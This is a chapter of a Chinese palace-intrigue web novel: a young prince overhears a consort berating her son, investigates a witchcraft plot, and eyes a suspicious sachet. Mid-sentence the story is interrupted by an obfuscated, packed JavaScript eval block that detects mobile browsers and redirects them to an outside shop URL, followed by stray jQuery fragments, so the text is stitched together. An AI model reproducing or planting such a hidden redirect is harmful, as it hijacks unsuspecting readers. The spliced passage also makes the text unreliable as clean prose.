咯咯咯……咯咯咯……
一对木雕小人在太子手中轮转,彼此面目被折磨得发白。这不过是太子桌上的两个小摆件,闲来无事拿在手中盘玩,那声音不管多久都听得人牙齿发酸。
太子却不管,眼睛搭上书页上沿。只见他九弟坐在桌案后,侧着脸,圆敦的五官不知何时显现出少年人的凌厉来。
他今年多大?八岁,九岁?没差!
砸吧砸吧嘴,倒是平日里见惯他笑嘻嘻的样子,这会冷下脸来,看去还觉得好玩些。由是把脚从桌下伸过去,踢一踢许靖川的鞋跟,直惹得弟弟回头来看他。
“你这从前见天是一副喜气洋洋,这会怎么耷拉着脸啦?跟你四哥说说,是哪个不长眼的把你这小人家家的惹恼啦?”
太子自己笑嘻嘻的,许靖川眼珠定住,心中没什么波澜——他是个喜气洋洋的性子,是个沉默寡言的性子,这满宫里也没几个人在意。至于太子四哥那边,他是个什么性子,只看太子今天想要个什么样的弟弟。
至于靖琮……
想到唯一跟自己交好的那个,许靖川低下头,再抬起脸又是笑盈盈。
“四哥,我就是走神了——大哥的婚事我没见着,二哥、三哥大婚那会我又太小,这会就总惦记着,皇子大婚到底是个什么模样。”
“你四哥我是太子,一国储君,规格只高不小,保准不叫你失望。”太子听到这个,自己也很高兴。又把身子往后仰,脚却没收回,又踢踢许靖川的鞋跟。
“别哭丧着脸,往后多个嫂嫂疼你,不是很好么?”
他不说这个还好,一说起易姑娘,许靖川的心情就更坏。
自从前几日他被林姑娘提醒,思量起巫蛊事,回去便没再耽搁,尽把那些日子‘病死’的宫人名册收拢来。
这会不是邪灵,却并不比驱邪容易。许靖川是个不受宠的皇子,但凡沾上点关系,就是把自己扰进死局。
可若是知会皇后、太子来帮衬?
许靖川一面庆幸近来宫中没死人,一面又苦恼不好把自己摘出去。他若是将前因后果禀告,先迎来的绝不是夸奖,而是‘恶意隐瞒’的申饬。
这人就是这样奇怪,自己都是顽石,偏要旁边孕育出毫无瑕疵的美玉。但凡有点絮丝,当下就要视如敝屣。
但即便这般,许靖川也不愿叫那晦气的东西玷染婚事——为着林姑娘,为着易姑娘,最后稍有一些,却也诚心为着皇后与太子。
因着自己不好明处涉身,便要暗处多下力气。然而连些日子忙碌,许靖川也没忘了自个的兄弟,仍时常去寻靖琮。
谁知这一寻,便寻出事来。
说来那也是天意,因着许靖琮最爱跑马,许靖川要去找他,头一个便上马场那边去。靖琮那小子在此事上尤其精明,琢磨出一条从御花园穿行的小径,往常也只有他兄弟二人常去。
这一回,许靖川也是顺着那条路找去。隐约听得前方声响,还不及分辨,就已经带着潘德周躲在假石之后。眼见着嘉贵妃与许靖琮走来,正要见礼,却听得嘉贵妃怒气冲冲一句:“你便镇日与那老九厮混,万事不上心!”
听得自己的名儿,又是在这样的当口。许靖川与潘德周相视一眼,没奈何继续躲在原地。偏这母子俩觉四下无人,正是争执的好时机,此刻竟也停在当中,和话里人只隔着半块青石。
“母妃,我跟九哥一处,怎么叫厮混呢?”许靖琮还拿着箭袋,脸上沾些灰土。脸颊红润,鼻上带汗,看着便是从马场上被拖回来。
见儿子这般,嘉贵妃脸上怒气更盛。手下却没闲着,叠了帕子,细细沾去儿子脸上的湿气。
许靖川从山石侧面看去,只见她一面擦,一面数落道:“你镇日不是跑马射箭,就是跟着老九不知上哪里闲玩。我素日与你说的温习功课,你却是理也不理睬。”
“我们哪里闲玩?”许靖琮左躲右闪,最后把帕子从母亲那里接过来。自己急头白脸抹一遍,又丢给旁边的小丫鬟:“我在九哥那,九哥可也督促着我学——母妃,你下回见到九哥,还得谢谢他跟你分担呢!”
“我怎么生下你这样只长一个心眼的儿子?”嘉贵妃说着,却是笑了。又抬起手,细细把许靖琮弄乱的鬓发梳理整齐。然而梳着梳着,竟又想起自己两个还在生气,随手又给他弄乱。
“老九就比你有心眼儿,他自己是白身一个,倒把你使唤得追着尾巴转圈。”
“母妃!”许靖琮叫一声,不满道:“你说话也忒难听,九哥哪里使唤我?”
“他不使唤你,怎么不带着你在太子跟前露露脸?怎么他见天往东宫去,这会倒把你撇一边?”
“他倒是几次要和我一块去,我还不干呢。”许靖琮把箭袋往地上一甩,气道:“就是我九哥心性好,才忍得了那臭脾气的!”
“他哪里是心性好?他那是没法子!”嘉贵妃脸上露出些冷笑,再见儿子真心诚意气不过的样子,又是恨铁不成钢:“他自个已经那样了,再不巴着皇后和太子,往后还有什么出头之日?倒是你,分明也和他一样大,却还是小孩子气。等往后你俩到了领差事的时候,太子替他给你们父皇捎带两句,他就能压你一头——你可别不信。”
这会子,许靖琮却不说话了。他望着地上的箭袋,哼哧哼哧喘着,眼见又滴下汗来。
那一颗几乎看不见的汗珠却带着嘉贵妃的不满一起滚进尘埃,她神情柔软下来,略一低头,又近前几步,给儿子理头发,整衣衫。
“母妃总不会害你,是不是?”她的声音几乎可以被清风托举起来,捧着儿子的小脸,指尖翘得很高,顶怕自己的指甲划到儿子的脸。
许靖琮仍偏着头,不言语。嘉贵妃的唇角抖动几下,只呼出一口气来。
“母妃也不是叫你不许跟老九往来,只是你……你心里也该有点成算。太子也是你的哥哥,你往后——”
“我才不要他给我捎什么好话。”许靖琮头一歪,躲开母亲的手,气狠狠道:“外祖家已经推着表姐向那边,现在连我也要跟着往上攀?”
“你这孩子!”嘉贵妃神色一变,许靖琮却不再理睬。拾起地上的箭袋,再不看母亲,扭脸就消失在草丛间。
嘉贵妃恼得连叫几
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17593180|204555||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
声‘靖琮’,没得回应,便赶忙带着自己的宫人往前。
待她们走远,许靖川才慢悠悠从假山后面绕出来。他定定注视着小路尽头,只见春日渐去,百花不见,满眼绿荫层盛,堆积而来只有一团团暗。
“殿下……”潘德周小声唤一声,整张脸都挤皱在一处。
许靖川摆摆手,只道:“想来靖琮今日也没空,咱们回吧。”
这归程路上无话,回到居处,又见画扇、画屏面上皆不好看。
许靖川侧过眼睛,只见桌上正中央摆着一盘核桃酥。
“皇后娘娘也真是……”画扇瘪瘪嘴,小声嘟囔道:“咱们殿下一吃核桃就嘴痒,这好些年了——”
一旁画屏拿胳膊肘怼一怼画扇肋骨,画扇闭了嘴,忽然又发狠似的,拿着点心往自个嘴里塞,直把一张鹅蛋脸撑得滚圆。
许靖川咧开嘴,又是一段笑脸。
“一盘点心,我可不在乎。倒是把你撑坏了,我要难过的。”他说着,又朝潘德周看一眼,无声嘱咐他不要把方才的事说出来。随后又叫三人把点心分吃,自己便回到内殿午歇。
再醒来,便是在林姑娘处。得了提醒,这才返回来追查巫蛊。
而现今太子几句言语,又叫许靖川想起那一日,不免心中酸苦,面上也显露些。
偏太子从来不是个细心的,被许靖川搪塞过,倒也顺着他话头说开。三言两语又说到姜禀昌,言及他这些日子多有懒怠,看去也不甚痛快。
许靖川眼见着,面上仍是强挂着笑脸,只把自己的心事塞紧在舌根下面。
要是现在在林姑娘处就好了。
这念头来得忽然,又像是潜伏许久,此刻才破冰化开。许靖川倒也不算要与她商量,更不是次次都要她来解疑难。
只是和她在一处,就觉得松快。
即便她什么都不干,和她一块看着霁童挠穗子,也比在这里欢快。
想到霁童,许靖川心里却还揣着林姑娘旧日的一段呢喃。记得她那会担忧霁童伤人,府里留不下,问他能不能帮着安置下来。
赵维礼在京中多年,也攒下些银钱。现也在京郊买下一栋小宅院,总算是安顿下来。他有了自己的住处,又有画扇在中间传话,听得许靖川的问询,他便拍着胸脯答应,说若是有得什么,便把霁童接去……
盼人盼好,许靖川自也盼着霁童长久在林姑娘身边。可他仍过问这些,却也想叫林姑娘知道,她的话,他也尽记在心间。一但可为,便从没怠慢。
分明连名字也不知,可只想着往日种种,许靖川又平白生出好多勇气来。他坐直身子,要跟太子再寒暄几句,再回去查那些宫人那段时日的古怪。
可正是这一直身,却看清太子桌上有一只香囊,那样式却不似往日所见。
“四哥?”许靖川探过身子,心中警惕,脸上却是孩子气的稀奇:“这香囊怎么在这摆着,不怕沾了墨渍?”
“还不是母后多心。”太子不在意地挥挥手,倒把香囊递到许靖川跟前:“李嬷嬷说是太子妃的孝敬,母后便送来我这边,要我也看看。”